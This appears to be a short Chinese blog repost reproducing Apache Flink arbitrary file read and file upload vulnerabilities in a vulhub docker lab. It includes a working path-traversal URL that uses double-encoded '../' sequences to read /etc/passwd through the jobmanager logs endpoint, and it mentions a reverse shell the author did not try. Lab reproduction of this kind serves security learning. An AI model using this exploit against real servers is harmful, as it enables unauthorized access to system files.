apache flink任意文件讀取&文件上傳漏洞復現


vvulhub搭建

docker-compose up -d

訪問8081端口,進入控制面板

 

任意文件讀取exp

http:/x.x.x.x:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

 

文件上傳

 

 

------------------

本來還想試一下反彈shell,但是因為docker環境部署在了公網ip上,反彈shell比較麻煩,就不再試了 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM